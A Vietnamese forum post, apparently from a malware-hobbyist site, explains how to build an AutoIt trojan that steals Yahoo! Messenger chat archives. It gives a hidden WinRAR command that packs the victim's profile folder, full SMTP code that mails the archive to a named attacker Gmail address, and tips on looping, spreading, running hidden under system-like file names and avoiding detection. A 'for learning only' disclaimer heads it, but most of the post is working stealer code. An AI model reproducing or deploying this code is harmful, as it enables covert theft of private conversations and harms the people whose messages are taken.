Ngày xưa Eric có thử làm ARP Poisoning nhưng không hiệu quá lắm do chỉ trộm được trong cùng LAN .
Chủ đề chính : Trojan - InfoStealer
Giải thích ý tưởng + code demo (AutoIT) - tùy các bạn rành ngôn ngữ nào thì có thể chế biến ý tưởng này tùy thích.
BÀI VIẾT NÀY CHỦ YẾU ĐỂ THAM KHẢO, HỌC TẬP. KHÔNG DÙNG ĐỂ PHÁT TÁN VIRUS PHÁ HOẠI.
Now, let's begin !!!
--------------------
Như các bạn đã biết Y!m có một chế độ Lưu trữ tin nhắn "Message Archive" và thiết lập mặc định của chức năng này là Lưu trữ và xóa mỗi khi thoát Y!m. Vì thế chúng ta sẽ lợi dụng khe hở này để trộm nội dung chat.
Các tin nhắn này được lưu trữ trong thư mục sau :
Code :
%ProgramFiles%\Yahoo!\Messenger\Profiles\[username]\[đối tượng]
(dir có thể thay đổi tùy vào người sử dụng)
Thứ nhất : Stealing Method
+ Nén lại dưới dạng ZIP - RAR - 7Z (tùy bạn chọn)
+ Lưu trữ ở một địa điểm nhất định nào đó.
Các người dùng máy tính VN ngày nay ai chả có cài WinRAR, nên Eric giới thiệu cách nén chạy bằng commandLine này nhé.
Chủ yếu các bạn cần shell 1 command line dưới nền DOS ẩn.
Chủ thích giá trị : <1> : đường dẫn đến winrar (thường là C:\Program Files\Winrar\Winrar.exe)
<2> : đường dẫn đến file sẽ được tạo
<3> : root archive đã nói ở trên.
Syntax :
Code :
<1> a -ibck <2> <3>
Ví dụ trên AuToIT :
Code :
_RunDOS ("C:\PROGRA~1\WinRAR\winrar a -ibck C:\Progra~1\WinRAR\test.rar C:\PROGRA~1\Yahoo!\Messenger\Profiles\eric.walter13")
Dòng lệnh trên tạo cho chúng ta một file Test.rar chứa root eric.walter13
Thế là xong bước 1
Thứ 2 : Send qua Email (Eric mượn source của autoitscript.com nhé)
Code :
;##################################
; Include
;##################################
#Include
#include
;##################################
; Variables
;##################################
$SmtpServer = "smtp.gmail.com" ; address for the smtp-server to use - REQUIRED
$FromName = "Name" ; name from who the email was sent
$FromAddress = "nghquang812@gmail.com" ; address from where the mail should come
$ToAddress = "nghquang812@gmail.com" ; destination address of the email - REQUIRED
$Subject = "Userinfo" ; subject from the email - can be anything you want it to be
$Body = "" ; the messagebody from the mail - can be left blank but then you get a blank mail
$AttachFiles = "C:\Program Files\WinRAR\test.rar" ; the file you want to attach- leave blank if not needed
$CcAddress = "" ; address for cc - leave blank if not needed
$BccAddress = "" ; address for bcc - leave blank if not needed
$Importance = "Normal" ; Send message priority: "High", "Normal", "Low"
$Username = "nghquang812@gmail.com" ; username for the account used from where the mail gets sent - REQUIRED
$Password = "*************" ; password for the account used from where the mail gets sent - REQUIRED
;$IPPort = 25 ; port used for sending the mail
$ssl = 1 ; enables/disables secure socket layer sending - put to 1 if using httpS
$IPPort=465 ; GMAIL port used for sending the mail
;~ $ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS
;##################################
; Script
;##################################
func sendEmail()
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
$rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
If @error Then
MsgBox(0, "Error sending message", "Error code:" & @error & " Description:" & $rc)
EndIf
endfunc
;
; The UDF
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
Local $objEmail = ObjCreate("CDO.Message")
$objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
$objEmail.To = $s_ToAddress
Local $i_Error = 0
Local $i_Error_desciption = ""
If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
$objEmail.Subject = $s_Subject
If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
$objEmail.HTMLBody = $as_Body
Else
$objEmail.Textbody = $as_Body & @CRLF
EndIf
If $s_AttachFiles <> "" Then
Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
For $x = 1 To $S_Files2Attach[0]
$S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' & $S_Files2Attach & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
If FileExists($S_Files2Attach[$x]) Then
$objEmail.AddAttachment ($S_Files2Attach[$x])
Else
ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
SetError(1)
Return 0
EndIf
Next
EndIf
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
If Number($IPPort) = 0 then $IPPort = 25
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authenticated SMTP
If $s_Username <> "" Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
EndIf
If $ssl Then
$objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
EndIf
;Update settings
$objEmail.Configuration.Fields.Update
; Set Email Importance
Switch $s_Importance
Case "High"
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
Case "Normal"
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
Case "Low"
$objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
EndSwitch
$objEmail.Fields.Update
; Sent the Message
$objEmail.Send
If @error Then
SetError(2)
Return $oMyRet[1]
EndIf
$objEmail=""
EndFunc ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
$HexNumber = Hex($oMyError.number, 8)
$oMyRet[0] = $HexNumber
$oMyRet[1] = StringStripWS($oMyError.description, 3)
ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF)
SetError(1); something to check for when this function returns
Return
EndFunc ;==>MyErrFunc
Đoạn code trên sẽ gửi một email đính kèm file Test.rar vào email và gửi đến cho attacker : nghquang812@gmail.com. Các thiết lập SMTP các bạn tùy chỉnh cho từng email nhé.
Thứ 3 : Màu mè
+ Cho code chạy trong 1 khoảng x thời gian - while 1 (autoit)
+ Lây lan : tùy thích
+ Chạy nền : tùy thích
+ Ẩn : đặt tên giống file hệ thống, nhân bản...
Các bạn chịu khó màu mè thì sản phẩm ra mới ngọt được nhé.
Ờ nãy h quên mất cái Decode YM mà a Dũng từng bàn tới trong 4rum mình nhé : http://virusvn.com/forum/showthread....hlight=archive
Hoặc các bạn có thể vào trang http://ymdecoder.com để giải mã file dat nhé.
Chúc các bác thành công
Eric Walter.
Ghi chu:
Code :
$AttachFiles = "C:\Program Files\WinRAR\test.rar"
có thể thay bằng:
Code :
$AttachFiles = RegRead("HKEY_LOCAL_MACHINE\Software\WinRAR", Mod("exe32",3,1)) & "test.rar"
phòng trường hợp winRAR đc cài trên ổ khác.
- Nên sử dụng Dll vbzip11.dll thay vì dùng winRAR, dễ bị lộ khi nó nén file( ko biết có đúng không)
reflink: http://virusvn.com/forum/showthread.php?2960-Source-Theo-doi-noi-dung-Y-M-cua-nguoi-khac-tu-xa&p=16936#post16936